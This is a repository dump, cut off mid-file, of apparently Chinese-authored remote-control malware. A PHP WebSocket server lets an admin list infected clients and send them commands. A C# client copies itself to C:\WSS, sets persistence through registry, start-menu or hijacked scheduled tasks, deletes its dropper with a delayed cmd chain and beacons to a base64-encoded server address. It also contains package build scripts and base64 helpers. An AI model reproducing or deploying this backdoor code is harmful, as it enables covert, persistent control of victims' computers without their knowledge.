15 | use Workerman\Protocols\Http\Request; 16 | use Workerman\Protocols\Http\Response; 17 | use Workerman\Connection\TcpConnection; 18 | 19 | require_once __DIR__ . '/../../vendor/autoload.php'; 20 | 21 | // WebServer 22 | $web = new Worker("http://0.0.0.0:1234"); 23 | // WebServer进程数量 24 | $web->count = 2; 25 | 26 | define('WEBROOT', __DIR__ . DIRECTORY_SEPARATOR . 'Web'); 27 | 28 | $web->onMessage = function (TcpConnection $connection, Request $request) { 29 | $_GET = $request->get(); 30 | $path = $request->path(); 31 | if ($path === '/') { 32 | $connection->send(exec_php_file(WEBROOT.'/index.php')); 33 | return; 34 | } 35 | $file = realpath(WEBROOT. $path); 36 | if (false === $file) { 37 | $connection->send(new Response(404, array(), '

404 Not Found

')); 38 | return; 39 | } 40 | // Security check! Very important!!! 41 | if (strpos($file, WEBROOT) !== 0) { 42 | $connection->send(new Response(400)); 43 | return; 44 | } 45 | if (\pathinfo($file, PATHINFO_EXTENSION) === 'php') { 46 | $connection->send(exec_php_file($file)); 47 | return; 48 | } 49 | 50 | $if_modified_since = $request->header('if-modified-since'); 51 | if (!empty($if_modified_since)) { 52 | // Check 304. 53 | $info = \stat($file); 54 | $modified_time = $info ? \date('D, d M Y H:i:s', $info['mtime']) . ' ' . \date_default_timezone_get() : ''; 55 | if ($modified_time === $if_modified_since) { 56 | $connection->send(new Response(304)); 57 | return; 58 | } 59 | } 60 | $connection->send((new Response())->withFile($file)); 61 | }; 62 | 63 | function exec_php_file($file) { 64 | \ob_start(); 65 | // Try to include php file. 66 | try { 67 | include $file; 68 | } catch (\Exception $e) { 69 | echo $e; 70 | } 71 | return \ob_get_clean(); 72 | } 73 | 74 | // 如果不是在根目录启动,则运行runAll方法 75 | if(!defined('GLOBAL_START')) 76 | { 77 | Worker::runAll(); 78 | } 79 | 80 | -------------------------------------------------------------------------------- /Client/packages/Costura.Fody.1.6.2/tools/install.ps1: -------------------------------------------------------------------------------- 1 | param($installPath, $toolsPath, $package, $project) 2 | 3 | 4 | function RemoveForceProjectLevelHack($project) 5 | { 6 | Write-Host "RemoveForceProjectLevelHack" 7 | Foreach ($item in $project.ProjectItems) 8 | { 9 | if ($item.Name -eq "Fody_ToBeDeleted.txt") 10 | { 11 | $item.Delete() 12 | } 13 | } 14 | } 15 | 16 | function FlushVariables() 17 | { 18 | Write-Host "Flushing environment variables" 19 | $env:FodyLastProjectPath = "" 20 | $env:FodyLastWeaverName = "" 21 | $env:FodyLastXmlContents = "" 22 | } 23 | 24 | function Update-FodyConfig($addinName, $project) 25 | { 26 | Write-Host "Update-FodyConfig" 27 | $fodyWeaversPath = [System.IO.Path]::Combine([System.IO.Path]::GetDirectoryName($project.FullName), "FodyWeavers.xml") 28 | 29 | $FodyLastProjectPath = $env:FodyLastProjectPath 30 | $FodyLastWeaverName = $env:FodyLastWeaverName 31 | $FodyLastXmlContents = $env:FodyLastXmlContents 32 | 33 | if ( 34 | ($FodyLastProjectPath -eq $project.FullName) -and 35 | ($FodyLastWeaverName -eq $addinName)) 36 | { 37 | Write-Host "Upgrade detected. Restoring content for $addinName" 38 | [System.IO.File]::WriteAllText($fodyWeaversPath, $FodyLastXmlContents) 39 | FlushVariables 40 | return 41 | } 42 | 43 | FlushVariables 44 | 45 | $xml = [xml](get-content $fodyWeaversPath) 46 | 47 | $weavers = $xml["Weavers"] 48 | $node = $weavers.SelectSingleNode($addinName) 49 | 50 | if (-not $node) 51 | { 52 | Write-Host "Appending node" 53 | $newNode = $xml.CreateElement($addinName) 54 | $weavers.AppendChild($newNode) 55 | } 56 | 57 | $xml.Save($fodyWeaversPath) 58 | } 59 | 60 | function Fix-ReferencesCopyLocal($package, $project) 61 | { 62 | Write-Host "Fix-ReferencesCopyLocal $($package.Id)" 63 | $asms = $package.AssemblyReferences | %{$_.Name} 64 | 65 | foreach ($reference in $project.Object.References) 66 | { 67 | if ($asms -contains $reference.Name + ".dll") 68 | { 69 | if($reference.CopyLocal -eq $true) 70 | { 71 | $reference.CopyLocal = $false; 72 | } 73 | } 74 | } 75 | } 76 | 77 | function UnlockWeaversXml($project) 78 | { 79 | $fodyWeaversProjectItem = $project.ProjectItems.Item("FodyWeavers.xml"); 80 | if ($fodyWeaversProjectItem) 81 | { 82 | $fodyWeaversProjectItem.Open("{7651A701-06E5-11D1-8EBD-00A0C90F26EA}") 83 | $fodyWeaversProjectItem.Save() 84 | $fodyWeaversProjectItem.Document.Close() 85 | } 86 | } 87 | 88 | UnlockWeaversXml($project) 89 | 90 | RemoveForceProjectLevelHack $project 91 | 92 | Update-FodyConfig $package.Id.Replace(".Fody", "") $project 93 | 94 | Fix-ReferencesCopyLocal $package $project -------------------------------------------------------------------------------- /Client/websocket/Properties/Resources.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // 此代码由工具生成。 4 | // 运行时版本:4.0.30319.42000 5 | // 6 | // 对此文件的更改可能会导致不正确的行为,并且如果 7 | // 重新生成代码,这些更改将会丢失。 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace websocket.Properties { 12 | using System; 13 | 14 | 15 | /// 16 | /// 一个强类型的资源类,用于查找本地化的字符串等。 17 | /// 18 | // 此类是由 StronglyTypedResourceBuilder 19 | // 类通过类似于 ResGen 或 Visual Studio 的工具自动生成的。 20 | // 若要添加或移除成员,请编辑 .ResX 文件,然后重新运行 ResGen 21 | // (以 /str 作为命令选项),或重新生成 VS 项目。 22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "15.0.0.0")] 23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 25 | internal class Resources { 26 | 27 | private static global::System.Resources.ResourceManager resourceMan; 28 | 29 | private static global::System.Globalization.CultureInfo resourceCulture; 30 | 31 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] 32 | internal Resources() { 33 | } 34 | 35 | /// 36 | /// 返回此类使用的缓存的 ResourceManager 实例。 37 | /// 38 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 39 | internal static global::System.Resources.ResourceManager ResourceManager { 40 | get { 41 | if (object.ReferenceEquals(resourceMan, null)) { 42 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("websocket.Properties.Resources", typeof(Resources).Assembly); 43 | resourceMan = temp; 44 | } 45 | return resourceMan; 46 | } 47 | } 48 | 49 | /// 50 | /// 重写当前线程的 CurrentUICulture 属性 51 | /// 重写当前线程的 CurrentUICulture 属性。 52 | /// 53 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 54 | internal static global::System.Globalization.CultureInfo Culture { 55 | get { 56 | return resourceCulture; 57 | } 58 | set { 59 | resourceCulture = value; 60 | } 61 | } 62 | } 63 | } 64 | -------------------------------------------------------------------------------- /Client/websocket/Properties/app.manifest: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 47 | 54 | 55 | 69 | -------------------------------------------------------------------------------- /Server/Applications/Chat/Web/js/base64.js: -------------------------------------------------------------------------------- 1 | function Base64() { 2 | 3 | // private property 4 | _keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; 5 | 6 | // public method for encoding 7 | this.encode = function (input) { 8 | var output = ""; 9 | var chr1, chr2, chr3, enc1, enc2, enc3, enc4; 10 | var i = 0; 11 | input = _utf8_encode(input); 12 | while (i < input.length) { 13 | chr1 = input.charCodeAt(i++); 14 | chr2 = input.charCodeAt(i++); 15 | chr3 = input.charCodeAt(i++); 16 | enc1 = chr1 >> 2; 17 | enc2 = ((chr1 & 3) << 4) | (chr2 >> 4); 18 | enc3 = ((chr2 & 15) << 2) | (chr3 >> 6); 19 | enc4 = chr3 & 63; 20 | if (isNaN(chr2)) { 21 | enc3 = enc4 = 64; 22 | } else if (isNaN(chr3)) { 23 | enc4 = 64; 24 | } 25 | output = output + 26 | _keyStr.charAt(enc1) + _keyStr.charAt(enc2) + 27 | _keyStr.charAt(enc3) + _keyStr.charAt(enc4); 28 | } 29 | return output; 30 | } 31 | 32 | // public method for decoding 33 | this.decode = function (input) { 34 | var output = ""; 35 | var chr1, chr2, chr3; 36 | var enc1, enc2, enc3, enc4; 37 | var i = 0; 38 | input = input.replace(/[^A-Za-z0-9\+\/\=]/g, ""); 39 | while (i < input.length) { 40 | enc1 = _keyStr.indexOf(input.charAt(i++)); 41 | enc2 = _keyStr.indexOf(input.charAt(i++)); 42 | enc3 = _keyStr.indexOf(input.charAt(i++)); 43 | enc4 = _keyStr.indexOf(input.charAt(i++)); 44 | chr1 = (enc1 << 2) | (enc2 >> 4); 45 | chr2 = ((enc2 & 15) << 4) | (enc3 >> 2); 46 | chr3 = ((enc3 & 3) << 6) | enc4; 47 | output = output + String.fromCharCode(chr1); 48 | if (enc3 != 64) { 49 | output = output + String.fromCharCode(chr2); 50 | } 51 | if (enc4 != 64) { 52 | output = output + String.fromCharCode(chr3); 53 | } 54 | } 55 | output = _utf8_decode(output); 56 | return output; 57 | } 58 | 59 | // private method for UTF-8 encoding 60 | _utf8_encode = function (string) { 61 | string = string.replace(/\r\n/g,"\n"); 62 | var utftext = ""; 63 | for (var n = 0; n < string.length; n++) { 64 | var c = string.charCodeAt(n); 65 | if (c < 128) { 66 | utftext += String.fromCharCode(c); 67 | } else if((c > 127) && (c < 2048)) { 68 | utftext += String.fromCharCode((c >> 6) | 192); 69 | utftext += String.fromCharCode((c & 63) | 128); 70 | } else { 71 | utftext += String.fromCharCode((c >> 12) | 224); 72 | utftext += String.fromCharCode(((c >> 6) & 63) | 128); 73 | utftext += String.fromCharCode((c & 63) | 128); 74 | } 75 | 76 | } 77 | return utftext; 78 | } 79 | 80 | // private method for UTF-8 decoding 81 | _utf8_decode = function (utftext) { 82 | var string = ""; 83 | var i = 0; 84 | var c = c1 = c2 = 0; 85 | while ( i < utftext.length ) { 86 | c = utftext.charCodeAt(i); 87 | if (c < 128) { 88 | string += String.fromCharCode(c); 89 | i++; 90 | } else if((c > 191) && (c < 224)) { 91 | c2 = utftext.charCodeAt(i+1); 92 | string += String.fromCharCode(((c & 31) << 6) | (c2 & 63)); 93 | i += 2; 94 | } else { 95 | c2 = utftext.charCodeAt(i+1); 96 | c3 = utftext.charCodeAt(i+2); 97 | string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63)); 98 | i += 3; 99 | } 100 | } 101 | return string; 102 | } 103 | } -------------------------------------------------------------------------------- /Client/packages/Fody.2.0.0/build/dotnet/Fody.targets: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | $(NCrunchOriginalSolutionDir) 7 | 8 | 9 | 10 | 11 | $(SolutionDir) 12 | 13 | 14 | 15 | 16 | $(MSBuildProjectDirectory)..\..\..\ 17 | 18 | 19 | 20 | 21 | 22 | 23 | $(KeyOriginatorFile) 24 | 25 | 26 | 27 | 28 | $(AssemblyOriginatorKeyFile) 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | $(ProjectDir)FodyWeavers.xml 39 | $(SignAssembly) 40 | $(MSBuildThisFileDirectory)..\..\ 41 | 42 | 45 | 52 | 53 | 65 | 66 | 69 | 70 | 71 | 72 | True 73 | 74 | 75 | 76 | 77 | 78 | 81 | 85 | 86 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | -------------------------------------------------------------------------------- /Client/packages/Fody.2.0.0/build/netstandard1.4/Fody.targets: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | $(NCrunchOriginalSolutionDir) 7 | 8 | 9 | 10 | 11 | $(SolutionDir) 12 | 13 | 14 | 15 | 16 | $(MSBuildProjectDirectory)..\..\..\ 17 | 18 | 19 | 20 | 21 | 22 | 23 | $(KeyOriginatorFile) 24 | 25 | 26 | 27 | 28 | $(AssemblyOriginatorKeyFile) 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | $(ProjectDir)FodyWeavers.xml 39 | $(SignAssembly) 40 | $(MSBuildThisFileDirectory)..\..\ 41 | 42 | 45 | 52 | 53 | 65 | 66 | 69 | 70 | 71 | 72 | True 73 | 74 | 75 | 76 | 77 | 78 | 81 | 85 | 86 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | -------------------------------------------------------------------------------- /Client/packages/Fody.2.0.0/build/portable-net+sl+win+wpa+wp/Fody.targets: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | $(NCrunchOriginalSolutionDir) 7 | 8 | 9 | 10 | 11 | $(SolutionDir) 12 | 13 | 14 | 15 | 16 | $(MSBuildProjectDirectory)..\..\..\ 17 | 18 | 19 | 20 | 21 | 22 | 23 | $(KeyOriginatorFile) 24 | 25 | 26 | 27 | 28 | $(AssemblyOriginatorKeyFile) 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | $(ProjectDir)FodyWeavers.xml 39 | $(SignAssembly) 40 | $(MSBuildThisFileDirectory)..\..\ 41 | 42 | 45 | 52 | 53 | 65 | 66 | 69 | 70 | 71 | 72 | True 73 | 74 | 75 | 76 | 77 | 78 | 81 | 85 | 86 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | -------------------------------------------------------------------------------- /Client/websocket/Base64Tools.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace websocket 4 | { 5 | class Base64Tools 6 | { 7 | public string base64encode(string cmd) 8 | { 9 | return base64encodeString(utf16to8(cmd)); 10 | } 11 | 12 | public string base64decode(string cmd) 13 | { 14 | return utf8to16(base64decodeString(cmd)); 15 | } 16 | 17 | string utf16to8(string str) 18 | { 19 | string Out = ""; 20 | int i, len; 21 | char c;//char为16位Unicode字符,范围0~0xffff,感谢vczh提醒 22 | len = str.Length; 23 | for (i = 0; i < len; i++) 24 | {//根据字符的不同范围分别转化 25 | c = str[i]; 26 | if ((c >= 0x0001) && (c <= 0x007F)) 27 | { 28 | Out += str[i]; 29 | } 30 | else if (c > 0x07FF) 31 | { 32 | Out += (char)(0xE0 | ((c >> 12) & 0x0F)); 33 | Out += (char)(0x80 | ((c >> 6) & 0x3F)); 34 | Out += (char)(0x80 | ((c >> 0) & 0x3F)); 35 | } 36 | else 37 | { 38 | Out += (char)(0xC0 | ((c >> 6) & 0x1F)); 39 | Out += (char)(0x80 | ((c >> 0) & 0x3F)); 40 | } 41 | } 42 | return Out; 43 | } 44 | string utf8to16(string str) 45 | { 46 | string Out = ""; 47 | int i, len; 48 | char c, char2, char3; 49 | len = str.Length; 50 | i = 0; while (i < len) 51 | { 52 | c = str[i++]; 53 | switch (c >> 4) 54 | { 55 | case 0: 56 | case 1: 57 | case 2: 58 | case 3: 59 | case 4: 60 | case 5: 61 | case 6: 62 | case 7: Out += str[i - 1]; break; 63 | case 12: 64 | case 13: 65 | char2 = str[i++]; 66 | Out += (char)(((c & 0x1F) << 6) | (char2 & 0x3F)); break; 67 | case 14: 68 | char2 = str[i++]; 69 | char3 = str[i++]; 70 | Out += (char)(((c & 0x0F) << 12) | ((char2 & 0x3F) << 6) | ((char3 & 0x3F) << 0)); break; 71 | } 72 | } 73 | return Out; 74 | } 75 | 76 | string base64EncodeChars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";//编码后的字符集 77 | int[] base64DecodeChars = new int[] { -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -1, -1, -1, -1, -1 };//对应ASICC字符的位置 78 | string base64encodeString(string str) 79 | { //加密 80 | string Out = ""; 81 | int i = 0, len = str.Length; 82 | char c1, c2, c3; 83 | while (i < len) 84 | { 85 | c1 = Convert.ToChar(str[i++] & 0xff); 86 | if (i == len) 87 | { 88 | Out += base64EncodeChars[c1 >> 2]; 89 | Out += base64EncodeChars[(c1 & 0x3) << 4]; 90 | Out += "=="; 91 | break; 92 | } 93 | c2 = str[i++]; 94 | if (i == len) 95 | { 96 | Out += base64EncodeChars[c1 >> 2]; 97 | Out += base64EncodeChars[((c1 & 0x3) << 4) | ((c2 & 0xF0) >> 4)]; 98 | Out += base64EncodeChars[(c2 & 0xF) << 2]; 99 | Out += "="; 100 | break; 101 | } 102 | c3 = str[i++]; 103 | Out += base64EncodeChars[c1 >> 2]; 104 | Out += base64EncodeChars[((c1 & 0x3) << 4) | ((c2 & 0xF0) >> 4)]; 105 | Out += base64EncodeChars[((c2 & 0xF) << 2) | ((c3 & 0xC0) >> 6)]; 106 | Out += base64EncodeChars[c3 & 0x3F]; 107 | } 108 | return Out; 109 | } 110 | string base64decodeString(string str) 111 | {//解密 112 | int c1, c2, c3, c4; 113 | int i, len; 114 | string Out; 115 | len = str.Length; 116 | i = 0; Out = ""; 117 | while (i < len) 118 | { 119 | do 120 | { 121 | c1 = base64DecodeChars[str[i++] & 0xff]; 122 | } while (i < len && c1 == -1); 123 | if (c1 == -1) break; 124 | do 125 | { 126 | c2 = base64DecodeChars[str[i++] & 0xff]; 127 | } while (i < len && c2 == -1); 128 | if (c2 == -1) break; 129 | Out += (char)((c1 << 2) | ((c2 & 0x30) >> 4)); 130 | do 131 | { 132 | c3 = str[i++] & 0xff; 133 | if (c3 == 61) return Out; 134 | c3 = base64DecodeChars[c3]; 135 | } while (i < len && c3 == -1); 136 | if (c3 == -1) break; 137 | Out += (char)(((c2 & 0XF) << 4) | ((c3 & 0x3C) >> 2)); 138 | do 139 | { 140 | c4 = str[i++] & 0xff; 141 | if (c4 == 61) return Out; 142 | c4 = base64DecodeChars[c4]; 143 | } while (i < len && c4 == -1); 144 | if (c4 == -1) break; 145 | Out += (char)(((c3 & 0x03) << 6) | c4); 146 | } 147 | return Out; 148 | } 149 | } 150 | } 151 | -------------------------------------------------------------------------------- /Client/websocket/Properties/Resources.resx: -------------------------------------------------------------------------------- 1 | 2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | -------------------------------------------------------------------------------- /Server/Applications/Chat/Events.php: -------------------------------------------------------------------------------- 1 | 10 | * @copyright walkor 11 | * @link http://www.workerman.net/ 12 | * @license http://www.opensource.org/licenses/mit-license.php MIT License 13 | */ 14 | 15 | /** 16 | * https://www.t00ls.net/space-uid-11943.html 17 | * BY:小牛 18 | */ 19 | //declare(ticks=1); 20 | 21 | /** 22 | * 聊天主逻辑 23 | * 主要是处理 onMessage onClose 24 | */ 25 | use \GatewayWorker\Lib\Gateway; 26 | 27 | class Events 28 | { 29 | 30 | /** 31 | * 有消息时 32 | * @param int $client_id 33 | * @param mixed $message 34 | */ 35 | public static function onMessage($client_id, $message) 36 | { 37 | 38 | // debug 39 | echo "client:{$_SERVER['REMOTE_ADDR']}:{$_SERVER['REMOTE_PORT']} gateway:{$_SERVER['GATEWAY_ADDR']}:{$_SERVER['GATEWAY_PORT']} client_id:$client_id session:".json_encode($_SESSION)." onMessage:".$message."\n"; 40 | 41 | // 客户端传递的是json数据 42 | $message_data = json_decode($message, true); 43 | 44 | if(!$message_data) 45 | { 46 | return ; 47 | } 48 | 49 | // 根据类型执行不同的业务 50 | switch($message_data['type']) 51 | { 52 | // 客户端回应服务端的心跳 53 | case 'pong': 54 | return; 55 | // 客户端登录 message格式: {type:login, name:xx, room_id:1} ,添加到客户端,广播给所有客户端xx进入聊天室 56 | 57 | 58 | case 'control'://像客户端发送命令 59 | if(!isset($message_data['to_client_id'])) 60 | { 61 | return; 62 | } 63 | if($message_data['execute']=='start'){ 64 | $new_message = array( 65 | 'type'=>'control', 66 | 'execute'=>'start'); 67 | }elseif ($message_data['execute']=='ctrlc'){ 68 | $new_message = array( 69 | 'type'=>'control', 70 | 'execute'=>'ctrlc'); 71 | }elseif ($message_data['execute']=='exit'){ 72 | $new_message = array( 73 | 'type'=>'control', 74 | 'execute'=>'exit'); 75 | } 76 | 77 | return Gateway::sendToClient($message_data['to_client_id'], json_encode($new_message)); 78 | // $new_message['content'] = nl2br(htmlspecialchars($message_data['content'])); 79 | // return Gateway::sendToCurrentClient(json_encode($new_message)); 80 | 81 | case 'admin_login'://管理员登录 82 | if($message_data['login']!='admin') return; 83 | // 获取客户组 84 | $_SESSION['client_name'] = 'admin'; //定义管理员名字 85 | $clients_list = Gateway::getClientSessionsByGroup('kehu'); 86 | foreach($clients_list as $tmp_client_id=>$item) 87 | { 88 | $clients_list[$tmp_client_id] = $item['client_name']; 89 | } 90 | Gateway::joinGroup($client_id, 'admin'); //吧管理员加入管理员组 91 | 92 | // 给当前用户发送用户列表 93 | $new_message = array('type'=>'login'); 94 | $new_message['client_list'] = $clients_list; 95 | 96 | 97 | Gateway::sendToCurrentClient(json_encode($new_message)); 98 | return; 99 | case 'login': //客户端登录 100 | 101 | $_SESSION['client_name'] = htmlspecialchars($message_data['client_name']).'['.$_SERVER['REMOTE_ADDR'].']'; //定义客户名字 102 | //获取管理员列表 103 | $new_message = array('type'=>$message_data['type'], 'client_id'=>$client_id, 'client_name'=>htmlspecialchars($_SESSION['client_name']), 'time'=>date('Y-m-d H:i:s')); 104 | Gateway::sendToGroup('admin', json_encode($new_message));//像管理员组发送新加入用户 105 | 106 | 107 | 108 | Gateway::joinGroup($client_id, 'kehu'); 109 | 110 | // 给当前用户发送用户列表 111 | // $new_message['client_list'] = $clients_list; 112 | // Gateway::sendToCurrentClient(json_encode($new_message)); 113 | return; 114 | 115 | // 客户端发言 message: {type:say, to_client_id:xx, content:xx} 116 | case 'say': //客户发送数据,只能通知给管理员 117 | // 非法请求 118 | 119 | // echo '客户发言了'; 120 | $new_message = array( 121 | 'type'=>'say', 122 | 'from_client_id'=>$client_id, 123 | // 'from_client_name' =>$_SESSION['client_name'], 124 | //'to_client_id'=>'all', 125 | 'content'=>nl2br(htmlspecialchars($message_data['content'])), 126 | 'time'=>date('Y-m-d H:i:s'), 127 | ); 128 | return Gateway::sendToGroup('admin' ,json_encode($new_message)); 129 | 130 | case 'admin_say': 131 | // 像客户发送 132 | if(!isset($message_data['to_client_id'])) 133 | { 134 | return; 135 | } 136 | 137 | $new_message = array( 138 | 'type'=>'say', 139 | 'content'=>nl2br(htmlspecialchars($message_data['content'])), 140 | ); 141 | return Gateway::sendToClient($message_data['to_client_id'], json_encode($new_message)); 142 | 143 | // $new_message['content'] = nl2br(htmlspecialchars(base64_encode($message_data['content']))); 144 | //return Gateway::sendToCurrentClient(json_encode($new_message)); 145 | 146 | 147 | } 148 | } 149 | 150 | /** 151 | * 当客户端断开连接时 152 | * @param integer $client_id 客户端id 153 | */ 154 | public static function onClose($client_id) 155 | { 156 | 157 | // debug 158 | // echo $_SESSION['client_name']. "client_id:$client_id client_name: onClose:''\n"; 159 | 160 | // 从房间的客户端列表中删除 161 | 162 | if($_SESSION['client_name'] != 'admin') 163 | { 164 | $new_message = array('type'=>'logout', 'from_client_id'=>$client_id, 'from_client_name'=>$_SESSION['client_name'], 'time'=>date('Y-m-d H:i:s')); 165 | Gateway::sendToGroup('admin', json_encode($new_message)); 166 | } 167 | } 168 | 169 | } 170 | -------------------------------------------------------------------------------- /Client/websocket/Example.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.IO; 4 | using System.Text; 5 | using System.Threading; 6 | 7 | namespace websocket 8 | { 9 | class Example 10 | { 11 | public static bool IsProcessExist(String proName) 12 | { 13 | foreach (System.Diagnostics.Process thisproc in System.Diagnostics.Process.GetProcessesByName(proName)) 14 | { 15 | if (thisproc.ProcessName.ToLower().Trim() == proName.ToLower().Trim()) 16 | { 17 | return true; 18 | } 19 | } 20 | return false; 21 | } 22 | 23 | public static string RootPath = @"C:\WSS\";//要生成的路径 24 | public static string ServiceName = "WSService";//要生成的文件名 25 | public static string destinationPath = RootPath + ServiceName + ".exe";//要生成的完整路径 26 | public static int startupCode = 886;//0:开始菜单启动 1:注册表启动 2:计划任务启动 3:计划任务劫持启动 886:不自启动 [会被360拦截导致自启动失效 不过仍然会上线] 27 | public static string changeName = "_UpdateWs";//被劫持文件添加后缀 28 | public static string ip = "MTI3LjAuMC4x";//BASE64加密服务端IP 29 | public static string pathCreate; 30 | 31 | 32 | static void Main(string[] args) 33 | { 34 | if (!Directory.Exists(RootPath))//如果不存在且不为劫持启动就创建 35 | { 36 | Directory.CreateDirectory(RootPath); 37 | } 38 | 39 | if (!IsProcessExist(ServiceName)) 40 | { 41 | pathCreate = System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName; 42 | 43 | //记录生成器路径 44 | FileStream fs1 = new FileStream(RootPath + "path.ini", FileMode.Create, FileAccess.Write); 45 | StreamWriter sw1 = new StreamWriter(fs1); 46 | sw1.WriteLine(pathCreate); 47 | sw1.Close(); 48 | fs1.Close(); 49 | 50 | if (startupCode == 3) 51 | { 52 | //设定启动项 53 | StartupWay startupWay = new StartupWay(); 54 | startupWay.doStartUpWay(startupCode, pathCreate, ServiceName, changeName);//传送生成器所在位置 55 | } 56 | else 57 | { 58 | //如果不存在就生成 59 | if (!System.IO.File.Exists(destinationPath)) 60 | { 61 | //拷贝到特定目录 62 | FileInfo fi = new FileInfo(pathCreate); 63 | if (!fi.Exists) 64 | { 65 | fi.CreateText(); 66 | } 67 | fi.CopyTo(destinationPath); 68 | } 69 | //运行目标 70 | MyWindowsCmd myWindowsCmd = new MyWindowsCmd(); 71 | myWindowsCmd.StartCmd(); 72 | myWindowsCmd.RunCmd(destinationPath); 73 | myWindowsCmd.WaitForExit(); 74 | myWindowsCmd.StopCmd(); 75 | //设定启动项 76 | StartupWay startupWay = new StartupWay(); 77 | startupWay.doStartUpWay(startupCode, RootPath, ServiceName, changeName); 78 | } 79 | } 80 | else 81 | { 82 | //删除生成器 83 | bool fistDel = false; 84 | if (File.Exists(RootPath + "path.ini")) 85 | { 86 | fistDel = true; 87 | } 88 | if (fistDel) 89 | { 90 | string path = File.ReadAllText(RootPath + "path.ini", Encoding.Default); 91 | string delCreate = "del " + path; 92 | if (startupCode == 3) 93 | { 94 | delCreate += " & rmdir /s /q " + RootPath; 95 | } 96 | string delIni = "del " + RootPath + "path.ini"; 97 | MyWindowsCmd myWindowsCmd = new MyWindowsCmd(); 98 | myWindowsCmd.StartCmd(); 99 | myWindowsCmd.RunCmd("ping -n 5 127.0.0.1>nul & " + delIni + " & " + delCreate);//延时五秒执行 100 | myWindowsCmd.WaitForExit(); 101 | myWindowsCmd.StopCmd(); 102 | } 103 | if (startupCode == 3) 104 | { 105 | string trueTaskExe = System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName.Replace(".exe", "") + changeName + ".exe"; 106 | if (File.Exists(trueTaskExe))//真计划任务文件是否存在 107 | { 108 | //运行真文件 109 | MyWindowsCmd myWindowsCmd = new MyWindowsCmd(); 110 | myWindowsCmd.StartCmd(); 111 | myWindowsCmd.RunCmd(trueTaskExe); 112 | myWindowsCmd.WaitForExit(); 113 | myWindowsCmd.StopCmd(); 114 | } 115 | } 116 | Base64Tools base64Tools = new Base64Tools(); 117 | string url = "ws://" + base64Tools.base64decode(ip) + ":7272"; 118 | 119 | WebSocketService wss = new BuissnesServiceImpl(); 120 | WebSocketBase wb = new WebSocketBase(url, wss); 121 | wb.start(); 122 | 123 | wb.send("{\"type\":\"login\",\"client_name\":\"" + System.Net.Dns.GetHostName() + "-" + "\"}"); 124 | 125 | //发生断开重连时,需要重新订阅 126 | while (true) 127 | { 128 | if (wb.isReconnect()) 129 | { 130 | wb.send("{\"type\":\"login\",\"client_name\":\"" + System.Net.Dns.GetHostName() + "-" + "\"}"); 131 | } 132 | Thread.Sleep(1000); 133 | } 134 | } 135 | } 136 | 137 | public static List GetFileListWithExtend(DirectoryInfo directory, string pattern) 138 | { 139 | List pathList = new List(); 140 | string result = String.Empty; 141 | if (directory.Exists || pattern.Trim() != string.Empty) 142 | { 143 | foreach (FileInfo info in directory.GetFiles(pattern)) 144 | { 145 | result = info.FullName.ToString(); 146 | pathList.Add(result); 147 | } 148 | } 149 | 